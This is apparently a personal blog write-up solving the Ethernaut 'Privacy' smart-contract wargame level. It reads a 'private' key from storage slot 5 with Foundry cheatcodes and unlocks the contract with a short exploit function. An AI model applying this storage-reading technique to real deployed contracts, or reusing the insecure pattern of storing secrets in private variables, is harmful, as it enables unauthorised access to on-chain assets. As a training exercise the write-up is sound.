capu's blog
Hack the planet! (it's a reference)

Ethernaut 12: Privacy

Objective

Unlock the contract. Guess the key which passed to unlock manages to not revert on line 13

Code

 1contract Privacy {
 2    bool public locked = true;
 3    uint256 public ID = block.timestamp;
 4    uint8 private flattening = 10;
 5    uint8 private denomination = 255;
 6    uint16 private awkwardness = uint16(block.timestamp);
 7    bytes32[3] private data;
 8
 9    constructor(bytes32[3] memory _data) {
10        data = _data;
11    }
12function unlock(bytes16 _key) public {
13        require(_key == bytes16(data[2]));
14        locked = false;
15    }
16}

Solution

The trick with this one seems to be

Due to how the state is packed, the storage should look like so

// slot 0
bool public locked = true;
// slot 1
uint256 public ID = block.timestamp;
// slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
// slot 3
bytes32[3] private data;
// slot 6

... why am I doing this manually?

[I] capu ~/s/ethernaut-solutions (master)> forge inspect --pretty  src/levels/12-Privacy.sol:Privacy storageLayout
| Name         | Type       | Slot | Offset | Bytes | Contract                          |
|--------------|------------|------|--------|-------|-----------------------------------|
| locked       | bool       | 0    | 0      | 1     | src/levels/12-Privacy.sol:Privacy |
| ID           | uint256    | 1    | 0      | 32    | src/levels/12-Privacy.sol:Privacy |
| flattening   | uint8      | 2    | 0      | 1     | src/levels/12-Privacy.sol:Privacy |
| denomination | uint8      | 2    | 1      | 1     | src/levels/12-Privacy.sol:Privacy |
| awkwardness  | uint16     | 2    | 2      | 2     | src/levels/12-Privacy.sol:Privacy |
| data         | bytes32[3] | 3    | 0      | 96    | src/levels/12-Privacy.sol:Privacy |

data starts at slot 3, and since it's an array of word-length elements, element with index 2 will be stored on slot 5. And I can read it with foundry's cheatcodes like so:

vm.load(address(target), bytes32(uint256(5)))

Remember we first used it in challenge 8 However, in line 13, the value is cast to a bytes16:

require(_key == bytes16(data[2]));

so I gotta figure out if it's the lower or higher 16 bytes that'll remain:

[N] capu ~/s/ethernaut-solutions (master)> chisel
Welcome to Chisel! Type `!help` to show available commands.
➜ bytes32 big =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
bytes16 small = bytes16(big);

➜ small
Type: bytes16
└ Data: 0xffffffffffffffffffffffffffffffff

The lower (most significat) bits survive the cast.

Although when implementing it in Solidity I can abstract that away and just do the same cast 🙃

function solution(address payable target_) internal override{
    Privacy target = Privacy(target_);
    bytes32 keyWord = vm.load(address(target), bytes32(uint256(5)));
    target.unlock(bytes16(keyWord));
}

😎

Also on this blog:

Comments

Back to article list